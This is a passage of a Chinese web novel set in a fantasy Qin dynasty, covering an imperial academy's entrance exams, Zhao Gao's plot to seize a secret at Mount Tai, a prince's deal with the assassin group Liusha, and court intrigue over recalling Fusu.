刚才那倾尽全力引动体内残存力量的一击。
虽然瞬间就被更强的封印之力压回。
但她清晰地感觉到,身上那如同附骨之疽般的强大封印,竟然出现了一丝极其细微的松动。
虽然微弱,却真实不虚。
她艰难地抬起手,抚摸着冰冷刺骨的墙壁,仿佛能透过无尽的阻碍,感受到蜃楼内女儿的气息。
“月儿……”
干裂的嘴唇无声地翕动,声音微弱却蕴含着钢铁般的意志。
“等着娘…一定会救你出去!一定!”
……
数日后。
万世书院门前,人潮涌动。
气氛却与科举放榜时的狂热截然不同。
更多了一种肃穆的期待与紧张的审视。
能站在这里的,或是新科进士中的佼佼者。
或是已有官身,政绩卓著渴望深造者。
亦或是军中凭军功获得兵家荐书,煞气未褪的悍卒!
他们目光灼灼,望着那高悬的匾额,以及匾额下那位玄衣如墨,掌控着他们下一步命运的六公子。
赢子夜立于汉白玉阶之上。
目光扫过下方黑压压的人群,声音清朗平和,却自带威严,清晰地传入每个人耳中。
“今日,万世书院开考,纳天下英才而育之!”
他开门见山,没有丝毫赘言。
“入此门者,当知书院规矩。”
“首重其德,次重其才。”
“于此间,非为虚名,而为实学,为帝国,亦为尔等自身之前程!”
他略微停顿,继续道:“书院之内,设祭酒总揽事务,由丞相李斯兼任!”
“设司业协理教学,由萧何担任!”
“设博士、助教若干,授经义、策论、律法、算学、格物乃至兵法等诸科。”
“伏念、颜路先生,将执掌经义讲堂!”
“公输仇大家,将传授机关之术!”
“章邯将军,亦会不定期前来讲授兵法实战……”
每一个名字念出,都引起下方一阵低低的惊呼和骚动。
丞相、九卿高官、儒家掌门、霸道机关术传人、帝国上将……
这等豪华无比的师资,远超众人想象!
这意味着,一旦考入,他们接触到的将是帝国最顶尖的学识和资源!
“然!”
赢子夜话锋一转,语气陡然变得锐利。
“书院非养闲人之所!”
“考核,无处不在!”
“每月皆有月考,定其等次,排其名位!”
“优者,可得朝廷厚禄,亦可获书院独有之赏赐——”
“或神兵利刃,或灵丹妙药,或失传古籍,乃至…更高深的**秘术!”
他目光如电,扫视众人。
“尔等在朝之政绩,在军之战功,皆可折算书院功勋,凭功勋,可兑换尔等想象不到之物!”
这话如同投入滚油的火星,瞬间点燃了所有人的野心!
这意味着,他们的前途不再仅仅系于官位升迁!
更有了一条凭借实实在在功绩换取力量的通天捷径!
就在众人心潮澎湃之际。
赢子夜手腕一翻,掌心赫然出现三样事物!
一柄短剑,样式古朴,剑身却隐有流光转动,散发出令人心悸的锋锐之气,仿佛能自行切割空气。
一枚玉瓶,瓶身剔透,隐约可见其中一枚龙眼大小,氤氲着七彩霞光的丹药缓缓旋转。
异香扑鼻,闻之令人精神大振。
一卷残破的黑色皮卷,材质不明,上面用古老的朱砂绘制着玄奥异常的图案。
只是看上一眼,便觉头晕目眩,仿佛蕴含着某种天地至理。
“此三物,”
赢子夜的声音带着一种致命的诱惑。
“乃书院本次考核,综合排名前三者之额外赏赐!”
“神兵‘流光’、灵丹‘七彩蕴神丸’、以及…上古炼气士所遗之‘古阵残卷’!”
“嘶——!”
下方瞬间响
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起一片倒吸冷气之声!
所有人的眼睛都死死盯住那三样东西。
呼吸变得粗重,眼神变得无比炽热!
尤其是那卷古阵残卷,其价值简直无法估量!
“考核,现在开始!”
赢子夜不再多言,袖袍一挥。
“文试考场左转,武试考场右转!”
“望尔等……竭尽全力!”
一声令下,人群瞬间分流,如同开闸的洪水,涌向不同的方向。
每个人脸上都带着破釜沉舟的决绝和志在必得的渴望!
文试考场内。
士子们埋首疾书,或蹙眉沉思,或奋笔疾书。
空气中弥漫着墨香与思维的剧烈碰撞。
策论题目刁钻古怪,涉及政务、军事、经济、民生乃至一些奇巧格物之题,绝非死读诗书所能应对。
武试考场则更为激烈!
校场之上,弓马骑射,拳脚兵器,军阵推演,乃至个人勇武的搏杀,无所不包。
喝彩声、兵器碰撞声、沉重的喘息声不绝于耳。
许多军中悍卒在此大放异彩!!
而一些看似文弱的士子,竟也展现出不俗的武学修为,令人侧目。
整整三日,书院之内气氛紧绷如弦。
无人敢懈怠,无人不拼尽全力!
那三件秒杀而来的宝物,如同悬在所有人头顶的明灯,照亮了他们的野心,也燃烧着他们的潜能。
三日后,考核结束。
一份长长的排名榜单张贴出来,瞬间被围得水泄不通。
有人狂喜呐喊,有人捶胸顿足,有人沉默不语。
赢子夜再次出现,亲自为综合排名前十者颁发了赏赐!
当那三件珍稀无比的宝物真正落入前三名获胜者手中时,引起的羡慕和惊呼几乎要掀翻书院的屋顶!!
“此非终点,而是开端!”
赢子夜看着眼前这些激动、骄傲、渴望的面孔,声音沉静却充满力量。
“万世书院,将为尔等打开新**。”
“能走多远,能攀多高,取决于尔等自身之意志与能力!”
“望尔等珍惜此地,勤学不辍,日后成为帝国真正之脊梁!”
“现在,各归其位,授课——开始!”
随着他一声令下,书院的钟声悠扬响起。
博士、助教们纷纷走入不同的讲堂。
士子们怀揣着激动与憧憬,迅速有序地涌入。
赢子夜站在原处,看着这座迅速步入正轨的学院,眼中闪过一丝满意的光芒。
帝国的未来,正在这里孕育。
他不再停留,转身,玄衣拂动,悄然离去。
将这片沸腾的天地,留给了那些渴望成长的英才!
第313章 上古遗迹!
中车府令官署,深处。
一间终年不见阳光,只靠幽绿烛火照明的密室内,空气凝滞得如同墓穴。
赵高如同一只隐藏在阴影中的毒蜘蛛,**在铺着软垫的矮榻上,指尖无声地敲击着冰冷的玉石扶手。
一阵几乎微不可闻的脚步声由远及近,停在厚重的门外。
三长两短的叩击声响起。
赵高眼皮都未抬,只从喉间发出一声低沉的:“进。”
密室门悄无声息地滑开一道缝隙。
一个浑身裹在夜行衣中,只露出一双精光四射眼睛的身影闪入,随即迅速关门,动作轻盈如猫。
他单膝跪地,头颅深深垂下:“我们的人带回了确切消息。”
赵高敲击扶手的指尖倏然停住。
密室内的烛火似乎随之跳动了一下。
他缓缓抬起眼,那双狭长阴鸷的眸子在幽绿光线下,闪烁着一种近乎贪婪的急切光芒:“说。”
“是!”
密探的声音压得极低,却清晰无比,“属下已按大人指示,多方刺探,终于从那条隐秘线路得到确认!”
“苍龙七宿开启之具体时日与地点,已定!”
“哦?”
赵高身体微微前倾,阴影在他脸上扭曲晃动,“何时?何地?”
“来年春季,甲子月,庚辰日,午时三刻!”
“地点是……泰山之巅!!”
每一个字都如同重锤,敲在赵高的心坎上。
他呼吸微微一窒,眼中爆发出骇人的精光,但随即又被更深的怀疑所覆盖。
如此机密,怎会如此轻易被探知?
他声音陡然变得冰冷刺骨,如同毒蛇吐信:“消息…从何而来?如何确保其真?!”
那无形的压力瞬间笼罩了跪地的密探。
密探身体一颤,头垂得更低,急忙回道:“回大人!消息来源…极其特殊,乃是被囚于蜃楼最深处的…东君焱妃!”
“她以损耗自身精血为代价,强行卜算窥得天机,方才得出!”
“东君焱妃?”
赵高眼中闪过一丝惊异,随即化为浓浓的算计,“那个被誉为阴阳家千百年不世出的天才?阴阳家的叛徒?”
他嘴角勾起一抹冰冷的弧度:“她为何要这么做?条件?”
密探道:“她的条件很简单!”
“她说,苍龙七宿意义重大,开启仪式非同小可,东皇太一必定亲自前往泰山主持。”
“届时,蜃楼内部守备必然因东皇离去而出现前所未有的空虚!”
“她要求…要求我们在那时,想办法将她从囚禁中救出!”
“她还说……”
密探顿了顿,声音更低了,“若大人不信,可自行设法查证此事真伪,但她断言,此讯绝无虚假!”
赵高沉默了,缓缓向后靠去。
手指再次开始无意识地敲击扶手,发出“哒…哒…”的轻响,在死寂的密室内显得格外清晰。
烛火将他变幻不定的脸色映照得如同鬼魅。
东君焱妃……
这个女人,他自然知道。
她的天赋和背叛,在罗网的情报卷宗里是重重的一笔。
她提供的这个时机,这个地点,确实…太有可能了!
也太诱人了!
若真能趁东皇太一离巢之际,不仅劫走苍龙七宿之秘,还能顺手将这个阴阳家的绝世天才掌控在手……
风险极大!
但回报,足以让他赌上一切!
半晌,他敲击声戛然而止。
“告诉她。”
赵高的声音恢复了平日的阴冷平滑,却带着不容置疑的决定,“本官,自会去查证。”
“若消息属实…她的条件,本官答应了!”
“诺!”
密探重重应声。
“你,继续回去,盯紧那条线。”
“有任何异动,立刻回报!”
“属下领命!”
密探如蒙大赦,再次无声无息地融入阴影,消失不见。
密室门重新合拢。
赵高**片刻,眼中翻滚着惊涛骇浪般的野心与杀机。
他忽然抬手,轻轻击掌。
另一道黑影如同从墙壁中渗出般悄然现身。
“立刻传信给北疆潜伏的百越之主螭!”
赵高的声音又快又急,“告诉他,蛰伏期结束,让他集结人手
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,随时待命!等候本官下一步指令!”
“诺!”
“再派一队最精干的‘蛛网’死士,秘密前往泰山!”
“给本官一寸一寸地暗查!”
“地形、守卫、任何可疑的布置…本官要在仪式开始前,知道那里的一切!”
“遵命!”
黑影领命,迅速消失。
密室内重归死寂,只剩下赵高一人,以及那跳跃不定的幽绿烛火。
他缓缓咧开嘴,露出一丝冰冷而贪婪的笑容,看到了那至高无上的力量在向他招手。
“泰山…苍龙七宿……”
“东君…呵呵…哈哈……”
低沉而诡异的笑声在密室内回荡,令人毛骨悚然。
……
六公子府。
书房。
烛火通明,却莫名透着一股与外界隔绝的静谧。
赢子夜坐于主位,指尖悠然拂过杯盏边缘,看着不请自来的几位“恶客”。
卫庄依旧是那副睥睨天下的冷漠姿态,鲨齿剑随意地靠在肩头,仿佛随时准备饮血。
他身后的赤练巧笑嫣然,眼波流转间却暗**刺。
白凤抱臂倚在窗边,神情慵懒,仿佛对一切都不感兴趣。
唯有指尖一枚洁白的羽毛无声旋转。
隐蝠则缩在阴影里,发出令人不适的细微嘶气声。
“六公子殿下今日召见,想必不是请我等来喝酒的吧?”
卫庄率先开口,声音低沉而富有磁性,却带着毫不掩饰的疏离与审视。
赢子夜微微一笑,放下杯盏:“卫先生快人快语。”
“不错,今日请诸位前来,是有一笔…好买卖,想与逆流沙合作。”
“哦?”
卫庄眉梢微挑,眼中闪过一丝感兴趣的光芒,“能让六公子称之为好买卖的,想必非同小可。”
“说来听听。”
“西域三十六国!”
赢子夜缓缓吐出这几个字,目光扫过流沙众人。
“据可靠情报,那片黄沙掩埋之下,藏着远比金银财宝更令人心动的东西——”
“上古遗迹,乃至可能涉及天地本源,长生秘辛的古迹!!”
第314章 这笔买卖,流沙接了!
书房内空气瞬间凝滞了一瞬!
赤练掩唇轻笑:“殿下说的,可是那些西域蛮族口中虚无缥缈的传说?”
“传说往往源于真实。”
赢子夜语气平淡,“阴阳家与黑冰台的零星记载,都指向其存在的可能性。”
“而且,其中凶险,亦远超想象。”
卫庄的眼神变得锐利起来,他自然听过西域古迹的传闻。
流沙的触角也曾试图伸向那片神秘之地,却总是受阻于其排外与诡异。
“殿下想如何合作?”
“很简单。”
赢子夜身体微微前倾,烛光在他深邃的眼中跳跃。
“由卫先生亲自率领逆流沙精锐,暗中前往西域,利用流沙的手段,为本公子查明古迹确切所在,并尽可能搜集一切相关信息。”
“若最终真能成功开启古迹,其中所获,流沙可得……三成。”
“三成?”
卫庄发出一声冰冷的嗤笑,鲨齿剑鞘轻轻点地。
“殿下莫非是在说笑?”
“深入西域险地,面对未知凶险,甚至可能对上整个西域的排斥,我流沙劳心劳力,只拿三成?”
“这买卖,听起来可不怎么划算。”
赢子夜脸上的笑容不变,反而更深了些,只是那笑意未达眼底。
“卫先生莫不是真以为,单凭逆流沙之力,便能轻易开启那可能存在了数千年的上古遗迹?”
“且不说西域三十六国高手如云,巫祝之术诡谲难测,单是那古迹本身的禁制与凶险,恐怕就非人力所能轻易抗衡。”
“帝国提供情报支持,并承诺事后三成收获,已是看在流沙诸位本事,以及此番合作诚意的份上,给出的莫大恩赐。”
他语气平和,却字字如锤,敲在事实上!
流沙虽强,但面对一个可能存在的上古遗迹以及整个西域的敌意,确实力有未逮。
帝国的背书和资源,才是能否成事的关键。
卫庄沉默了片刻,狭长的眼眸中寒光闪烁,显然在急速权衡。
书房内的气氛变得有些紧绷。
赤练的笑容收敛了些。
白凤旋转羽毛的手指停了下来。
连隐蝠的嘶气声都微弱了下去。
良久,卫庄才再次开口,声音低沉:“三成可以,但我有一个条件。”
“请讲。”
“我需要殿下麾下,噬牙狱中那些真正的‘凶徒’暂时听我调遣。”
卫庄的目光如同鹰隼,锁定赢子夜,“西域之地,光靠潜行暗杀不够,需要能正面撼动沙暴的猛兽。”
“那些人,正合适。”
赢子夜闻言,却是缓缓摇了摇头,毫不犹豫地拒绝:“噬牙狱之人,另有用处,不能予你。”
卫庄的脸色瞬间沉了下去,周身气息变得危险起来!
然而,不等他发作,赢子夜话锋一转:“不过,为了显示本公子的诚意,也为了确保流沙诸位能安然归来继续我们的合作……”
“本公子倒是可以私人资助你们一些‘护身’的宝物。”
他话音未落,袖袍轻轻一拂。
案几上。
瞬间多出了几样东西。
闪烁着奇异的光泽,顿时吸引了所有人的目光!
一枚龙眼大小,通体浑圆,内部仿佛有氤氲紫气流转的丹药,异香扑鼻,闻之令人神魂一振。
“紫蕴护心丹!”
无论多重的内伤,服下可吊住一口气,争取救命时间。
一面巴掌大小,看似古朴无华的青铜小盾,盾面上刻满了玄奥的符文。
“小挪移盾!”
注入内力可瞬间激发一次短距离空间挪移,足以避开致命一击!
三张材质非帛非纸,触手冰凉,上面用朱砂绘制着血色闪电符号的符箓。
“惊雷遁符!”
撕开后能化身雷光,远遁千里,但会对身体造成极大负荷!!
还有一小堆闪烁着各色微光的奇异灵石。
“聚元破阵石!”
专门用于暴力破解或短暂干扰一些能量结界,阵法禁制。
这些宝物一出现。
连一向冷漠的卫庄瞳孔都微微收缩了一下!
更别提赤练、白凤等人眼中闪过的惊异与贪婪。
这些东西,每一样都堪称保命的神物,价值连城!
“有了这些。”
赢子夜的声音带着一种从容的自信,“纵使在西域遇到不可力敌之险,想必诸位全身而退,应当也不是什么难事了吧?”
“如此,再加上事成后的三成收获,卫先生还觉得这买卖不值吗?”
卫庄的目光从那几样宝物上缓缓扫过。
又落回赢子夜那张带着淡然笑意的脸上。
他沉默了片刻,终于,嘴角扯出一抹冷冽的弧度。
“殿下,果然大手笔。”
他伸出手,将案几上的宝物一一收起,“这笔买卖,流沙接了。”
“合作愉快。”
赢子夜举杯示意。
卫庄不再多言,收起鲨齿,转身便走。
赤练意味深长地看了赢子夜一眼,晃动着腰肢跟上。
白凤身影一晃,已消失在窗外夜空。
隐蝠也融入阴影,无声离去。
书房内重归寂静。
赢子夜独自坐在案后,指尖轻轻敲击桌面,眼中闪烁着算计的光芒。
西域的棋,又落下了一子。
现在,就看这群江湖上最顶尖的**,能在那边陲之地,掀起怎样的风浪了。
而就在他凝神细思之际。
怀中一枚温热的玉符忽然轻轻震动起来,散发出淡淡的微光。
这是与远在北疆的暗河密探紧急联络所用的通讯符。
赢子夜目光一凝,迅速将玉符取出,内力微微注入。
顿时。
一个带着明显疲惫,风尘仆仆,却又强行压抑着急促喘息的声音,直接在他脑海中响起。
“主上!卑职星夜兼程,已潜入北疆狼族活动区域!”
“经多方刺探,终于得到确认!”
赢子夜眼神微动,没有说话,静静聆听。
那声音继续飞快禀报,语速极快。
“据卑职抓到的几个舌头供述以及战场遗留迹象判断,此战起因似乎并非白狼部大规模入侵!”
“更像是双方部族牧民因争夺一片水草丰美的河谷草场,先是小**,后迅速升级,狼族单于似乎早有准备,趁机发难,大军压境!”
“白狼部猝不及防,损失惨重,现已联合了附近两个同样受狼族欺压的小部落,正在苦苦支撑!”
“战况如何?”
赢子夜终于开口,声音平稳。
“狼族兵力,装备明显强于联军,占据上风!”
“但白狼部及其联军抵抗异常顽强,依托地形节节阻击,狼族虽推进,却亦付出不小代价,战事呈胶着之势!
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”
消息到此为止。
玉符的光芒渐渐黯淡下去。
显然那边的赵戈苍,正处于极度危险或需要高度隐匿的状态。
无法长时间通讯。
赢子夜缓缓放下玉符,指尖无意识地敲击着桌面,发出规律而沉闷的“哒、哒”声。
烛火在他深邃的瞳孔中跳动,映照出其中飞速运转的思绪。
“狼族所言,半真半假……”
他低声自语,“有战事为真,但绝非其所宣称的遭逢‘突袭’,反倒更像是他们主动寻衅,意图吞并!”
“狼族实力远胜白狼部及其联军,纵然联军拼死抵抗,落败也只是时间问题。”
“既然如此……”
赢子夜的眼神骤然锐利起来!
“他们为何还要多此一举,不惜付出代价,恳请大秦发兵援助?”
一个答案呼之欲出!
“胡亥……”
赢子夜唇间吐出这两个字,带着冰冷的寒意!
“他与狼族,定然达成了某种合作!”
“狼族需要大秦这支援军作为威慑,或许更是作为某种凭证或掩护!”
“而胡亥,则借此如愿以偿地拿到了他梦寐以求的兵权,得以远离咸阳,插手边陲军务!”
“好一个借力打力,好一个暗度陈仓!”
赢子夜嘴角勾起一抹冷笑,“只是…他们费尽心机,布下这个局,最终的目标究竟是什么?”
“仅仅是为了让胡亥掌军,让狼族吞并几个小部落?”
“这代价和风险,似乎不成正比。”
他踱步至窗前,望着北方漆黑的夜空,眉头微蹙。
胡亥的野心不止于此,狼族单于也绝非易与之辈。
这两方勾结,所图必然更大!
是想借机清洗北疆军中忠于帝国的势力?
还是想以战养战,培植私兵?
亦或是……
想挑起更大的边衅,从中渔利?
一个个可能性在他脑中闪过,却又似乎都差了点关键。
“罢了。”
赢子夜深吸一口气,压下心中的疑虑,“无论如何,有蒙恬的精锐铁骑在,胡亥和狼族短期内应该翻不起太大的浪花。”
“蒙恬老成持重,用兵谨慎,有他盯着,胡亥许多手段也难以施展。”
当前的重中之重,是即将到来的泰山仪式,是苍龙七宿!
那关乎帝国命脉,甚至可能关乎长生之秘,绝不容有失!
相比于此,北疆的纷争,暂时可以放一放。
他的目光变得坚定而深邃。
“传令下去。”
他对着空无一人的书房沉声道,声音却如同投入深潭的石子,自有阴影处的人接令。
“命北疆暗河,继续严密监视狼族与白狼部战事,更要紧盯胡亥大军的一举一动!”
“有任何异常动向,尤其是与蒙恬部偏离的情况,立刻报我!”
“诺!”
阴影中传来一声低沉的回应,随即气息消失。
赢子夜再次望向北方,眼神幽远。
“待泰山之事了结,苍龙七宿尘埃落定……”
他低声自语,语气中带着一种不容置疑的决断,“若北疆局势仍有变,说不得…本公子要亲自去一趟,看看我这好十八弟和那狼族单于,究竟在唱什么戏!”
夜风吹过,带来一丝凉意。
却吹不散他眼中那洞悉一切后的冰冷光芒。
第315章 此话,还得是六公子来说啊!
岁末的寒意笼罩着咸阳宫。
天色未明,麒麟殿内却已是灯火通明。
百官依序肃立,呵出的白气在冰冷的空气中凝成薄雾。
这是今年最后一个大朝会!
殿内气氛庄重之余,也隐隐透着一丝年关将至的松懈与期盼。
嬴政高踞御座之上,玄衣冕旒,面容隐在珠帘之后,唯有那沉静如渊的帝威弥漫全场,压下了所有细微的骚动。
“有本启奏,无本退朝。”
内侍官尖细的声音划破寂静。
几位重臣依次出列,禀报政务。
多是各地岁末汇总,粮仓储备,刑狱审理等常规事宜。
嬴政或微微颔首,或简短指示一二,流程平稳。
片刻后。
一位掌管南方事务的官员出列,手持玉笏,声音带着几分恭谨。
“启禀陛下,百越之地的重建,已有实质进展。”
“新设的三处郡县官署,皆已落成启用,吏治初具雏形。”
“道路修缮亦基本完成,沿江要道畅通,商旅往来较往年增多。”
“田地开垦方面,已有数万亩荒地改造为良田,稻谷试种成活!”
“收成虽未丰厚,但可见成效。”
“当地头人渐渐信服,愿归籍册者日渐增多!”
“兵备上,驻军与地方协同,修筑数座边寨与烽堠,沿山林要害布防,已可控局势!”
“匪患虽偶有余孽滋事,但皆被及时剿灭,不足为虑。”
“至于南疆蛮族,其间巫蛊之俗仍旧流行,但在郡县推行医药与祭祀并行之策后,已稍得约束。”
“部分部落酋长,亦愿遣子弟入学,以求与大秦制度接轨。”
珠帘之后,嬴政的目光微微一动,声音平稳无波。
“继续按律推行,务必以大秦法度为纲,恩威并施,使其心服口服!”
“百越之俗,多诈少信,不可轻纵。”
“今后凡有违逆,格杀勿论!!!”
“臣谨遵圣谕!”
那官员躬身退下,额角沁出细汗。
百越之地渐渐纳入帝国版图,但山川险阻,人心未稳,欲彻底同化,仍非朝夕可成。
殿内一时无人再奏,似乎所有紧要事务都已禀报完毕,只待散朝的钟声。
就在此时。
位列百官之前的赢子夜,缓步出列。
玄衣玉冠,身姿挺拔,瞬间吸引了所有人的目光。
他对着御阶躬身一礼,声音清朗沉稳,打破了短暂的沉寂。
“父皇,儿臣尚有一事启奏。”
“讲。”
珠帘后传来嬴政平淡的声音。
赢子夜抬起头,目光扫过殿内百官,最终望向珠帘之后,语气恳切而持重。
“儿臣思及,长兄扶苏奉父皇之命前往南疆历练,至今已有些时日。”
“南疆蛮荒之地,瘴气弥漫,民风彪悍,长兄虽仁厚睿智,然久处边陲,于身心皆是磨砺,亦远离朝堂,于国事或有生疏。”
他略微停顿,感受到冯去疾、淳于越等一批倾向于扶苏的老臣投来的复杂目光,继续道。
“如今岁末将至,万象更新。”
“儿臣以为,长兄历练之功已显,不若借此年节之机,召长兄回返咸阳。”
“既可侍奉父皇左右,以尽孝道,亦可参与朝议,将其于南疆所见所闻,所思所感,融汇于国策之中,想必对帝国治理南疆大有裨益。”
“望父皇…恩准!”
这番话,说得滴水不漏。
既肯定了扶苏的历练,又强调了召回的必要性与益处。
全然一副为兄考虑,为国着想的姿态。
话音落下,殿内一片寂静。
冯去疾垂着眼睑,心中却是暗暗长舒一口气,与身旁几位老臣交换了一个心照不宣的眼神。
召回长公子之事,他们早已思虑良久。
却始终无人敢轻易提起,生怕触动陛下哪根敏感的神经,或被认为是结党营私。
如今由深得帝心,风头正劲的六公子亲自提出,再合适不过!
此事果然还得是他来提啊!
珠帘之后,良久无声。
那无形的压力让所有人心头微紧。
终于,嬴政那平稳无波的声音缓缓响起,透过珠帘,清晰地传入每个人耳中。
“准奏。”
仅仅两个字,却让殿内气氛为之一松。
“拟旨,召扶苏即日启程,回返咸阳。”
“陛下圣明!”
赢子夜躬身领命,神色平静无波。
“陛下圣明!”
百官齐声附和,许多老臣脸上都露出了恭敬之色。
……
章台宫内。
炉火温暖,驱散了岁末的寒意,却驱不散那弥漫在空气中,比冰雪更沉重的威严。
赢子夜垂手立于御案之前,方才朝会上关于召回扶苏的波澜似乎并未在他心中留下太多痕迹。
珠帘之后,嬴政的身影如同一座亘古不变的山岳。
他没有提及扶苏,也没有谈论朝政。
开口,便是那件关乎帝国乃至自身终极追求的大事。
“苍龙七宿之事,准备得如何了?”
声音透过珠帘传来,平稳,却带着一种不容丝毫差错的绝对重量,每一个字都仿佛能压垮人的心神。
赢子夜神色一凛,躬身回道。
“回父皇,一切皆已按计划准备妥当。”
“东皇太一所需之物,儿臣已悉数备齐交付。”
“阴阳家那边,阵法演练、仪式流程亦反复推演,确保万无一失。”
“泰山之地,明暗哨卡,阵法节点,应急撤离路线等一应部署,均已初步完成。”
“只待春节过后,便可动身前往,进行最后阶段的实地部署与调整。”
他语速平稳,条理清晰。
将庞大的准备工作浓缩为几句精准的汇报,没有丝毫夸大,亦无半点疏漏,显露出极强的掌控力。
嬴政静静听着,末了,缓缓颔首。
“善。”
沉默片刻。
他忽然自御案旁拿起一枚玄黑色的令牌。
那令牌非金非铁,触手冰凉。
上刻玄鸟纹饰,中间是一个古朴沉重的“令”字。
边缘有龙纹盘绕,散发着令人心悸的肃杀之气!
“此事,关乎国运,关乎朕…不容有失。”
嬴政的声音低沉了几分,将那枚令牌递出珠帘。
“持此令牌,可调集三万禁军,皆乃百战锐士,由你全权节制。”
“泰山方圆百里,朕许你临机决断之权!”
“若有任何宵小敢窥伺、阻拦……杀无赦!!!”
最后三个字,带着凛冽如严冬的杀意,让温暖的章台宫瞬间温度骤降!
赢子夜深吸一口气,上前一步,双手恭敬地接过那枚沉甸甸的令牌。
入手瞬间,便能感受到其中所蕴含的无上权柄与血腥杀伐。
他知道,这不仅仅是三万精锐的指挥权。
更是父皇将他自身的安全乃至帝国的部分命运,都压在了这次仪式
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之上。
他重重握紧令牌,声音沉静却斩钉截铁。
“儿臣领旨!”
“父皇放心,泰山之巅,儿臣已布下天罗地网,绝不容任何差错发生!必保仪式万全!”
“嗯。”
嬴政应了一声,似乎还想再叮嘱些什么。
就在这时,殿外传来一阵轻快而略显急促的脚步声,伴随着银铃般清脆又带着些许娇憨的呼唤。
“父皇!父皇!我就知道六哥肯定被您叫到这儿来了!”
珠帘微动。
一个身着鹅黄色宫装,明眸皓齿,容颜俏丽的少女像一只欢快的蝴蝶般跑了进来。
正是始皇最为疼爱的女儿——
嬴阴嫚。
她似乎完全没感受到殿内凝重的气氛。
提着裙摆,笑靥如花地直接跑到赢子夜身边,很是自然地挽住了他的胳膊。
然后才像刚想起什么似的,对着珠帘方向俏皮地吐了吐舌头。
“儿臣参见父皇!”
对于爱女的闯入和无礼,珠帘后的嬴政似乎并未动怒,只是淡淡“嗯”了一声,那弥漫的帝威都仿佛柔和了些许。
嬴阴嫚得了默许。
立刻晃着赢子夜的胳膊,仰起俏脸,大眼睛扑闪扑闪地看着他,声音又甜又糯。
“六哥六哥!我可找到你了!我有件大事要跟你商量!”
赢子夜面对这突如其来的妹妹,脸上的冰冷肃穆瞬间化为了无奈的温和笑意,他轻轻拍了拍她的手。
“嫚嫚,慢些说,何事如此着急?”
“我也想去万世书院学习!”
嬴阴嫚语速飞快,眼中充满了憧憬和认真。
“我不想整日待在宫里了!”
“我也要像六哥你一样,学好多好多本事,懂治国安邦的道理,以后能为父皇分忧,成为厉害的人!”
赢子夜闻言,不禁失笑,摇了摇头。
“嫚嫚,书院并非玩乐之所,课业繁重,规矩森严,很是清苦的。”
“你贵为公主,何必去吃那份苦?”
“我不怕苦!”
嬴阴嫚立刻挺直了腰板,小脸上满是倔强。
“我真的不怕!我能坚持!”
“你看我骑射功夫也不比那些侍卫差多少呢!”
“六哥,你就答应我嘛!带我去书院看看,好不好?”
她摇晃着赢子夜的胳膊,开始撒娇。
赢子夜被她缠得无法,抬头看了一眼珠帘方向,珠帘后并无任何表示,显然是默许了由他决断。
他无奈地叹了口气。
看着妹妹那双充满渴望和坚定的眼睛,终是心软了下来,脸上露出宠溺而温和的笑容。
“好好好,怕了你了。”
“待年后书院事务安排妥当,六哥便带你去看看。”
“不过事先说好,若吃不了苦,可不许哭鼻子。”
“真的?!谢谢六哥!六哥最好了!”
嬴阴嫚顿时欢呼雀跃起来,开心地抱了一下赢子夜的胳膊,笑得如同春花绽放。
“我一定不会给六哥丢脸的!”
看着她纯真无邪的笑容,赢子夜眼中的笑意也深了几分,方才与父皇商议大事的沉重氛围被冲淡了不少。
他轻轻揉了揉她的头发。
“好了,父皇还有事与六哥说,你先去外面玩会儿。”
“嗯!”
嬴阴嫚乖巧地点头,又对着珠帘行了个礼。
“儿臣告退,父皇再见!”
说完,便像来时一样,如同一阵欢快的风,跑出了章台宫。
第316章 我选阵法!
中车府令官署,深处。
密室里的空气粘稠得如同凝固的血。
赵高枯瘦的手指,正一下下敲击着冰冷的玄铁桌面,发出“笃…笃…”的轻响。
仿佛毒蝎摆尾,在寂静中催生着无形的焦虑。
一道几乎与阴影融为一体的身影跪伏在地,声音压得极低,却字字清晰如同寒冰坠地。
“……确认无误。”
“地点就在泰山之巅。”
“阴阳家高手已暗中调动,遍布山峦各处要道节点,布防严密,如同铁桶。”
“东皇太一,届时必亲自主持仪式。”
敲击声戛然而止!
赵高那双狭长阴鸷的眼中,猛地爆射出骇人的精光!
贪婪、兴奋、以及一丝孤注一掷的疯狂在其中剧烈翻涌。
他干瘪的嘴唇缓缓咧开,露出一抹令人毛骨悚然的笑容。
“泰山…好,好一个泰山封禅之地!”
“东皇太一倒是会选地方!”
他的声音嘶哑,带着一种毒蛇吐信般的咝咝声。
“苍龙七宿……这等逆天改命的力量,合该由本官来掌控!”
他猛地站起身,黑袍无风自动,周身散发出阴冷刺骨的杀意。
“传令!”
他声音陡然尖利起来,如同夜枭啼叫。
阴影中立刻浮现出另一道身影,垂首听命。
“立刻以最高密级,传讯北疆!”
“告诉螭,时机已到!”
“让他带着麾下九魔,用最快的速度,给本官滚到泰山脚下待命!”
“不得有误!”
“诺!”
“再传令!”
赵高的目光转向另一侧,那里仿佛有无数双冰冷的眼睛在黑暗中睁开。
“调动罗网所有天、杀、地、绝字号**!”
“放下手中一切任务,隐匿行踪,分批潜入泰山地域!”
“告诉他们,这是罗网成立以来,最大,也是最后的一票买卖!”
“成了,荣华富贵,力量权势,取之不尽!”
“败了……哼,那就一起葬身泰山吧!”
“遵命!”
又一道阴影领命,无声消散。
密室内,再次只剩下赵高一人。
他缓缓坐回榻中,手指再次开始敲击桌面,节奏却变得更快,更急促。
仿佛是他那颗因极致野心,而疯狂跳动的心脏回响。
幽绿的烛火,将他扭曲的面容映照得如同地狱恶鬼。
“东皇太一,赢子夜…陛下……呵呵……”
他发出低沉而诡异的笑声。
“就看最后,是谁……能吞下这颗最大的果实了!”
……
翌日清晨。
推窗望去,整个世界已被一层厚厚的莹白覆盖。
细雪仍如柳絮般无声飘洒。
将咸阳宫阙,街巷民居都笼在一片静谧的纯白之中,连往日肃杀的空气都变得柔软了几分。
赢子夜难得偷闲,披着一件玄色大氅,信步走入府中花园。
积雪没过脚踝,发出咯吱轻响。
园中红梅傲雪绽放,点点嫣红在一片洁白中格外醒目。
他尚未驻足欣赏,便听得一阵银铃般的轻笑和娇叱从梅林深处传来。
绕过一丛覆雪的翠竹,只见几个身影正在雪地中嬉闹。
最显眼的莫过于一袭炽烈红裙的焰灵姬。
她似乎全然不惧严寒,赤足踏在雪地上,纤纤玉指引动着几簇幽蓝色的火焰,如同精灵般在雪空中穿梭跳跃,融化出一片片氤氲的水汽。
她看到赢子夜,眼波流转,抛来一个妩媚挑衅的眼神。
“殿下也来踏雪?”
“可惜我这火,怕是让这雪景逊色了呢。”
一旁。
一袭蓝衣的雪女闻言,清冷的面容上露出一丝淡淡的笑意。
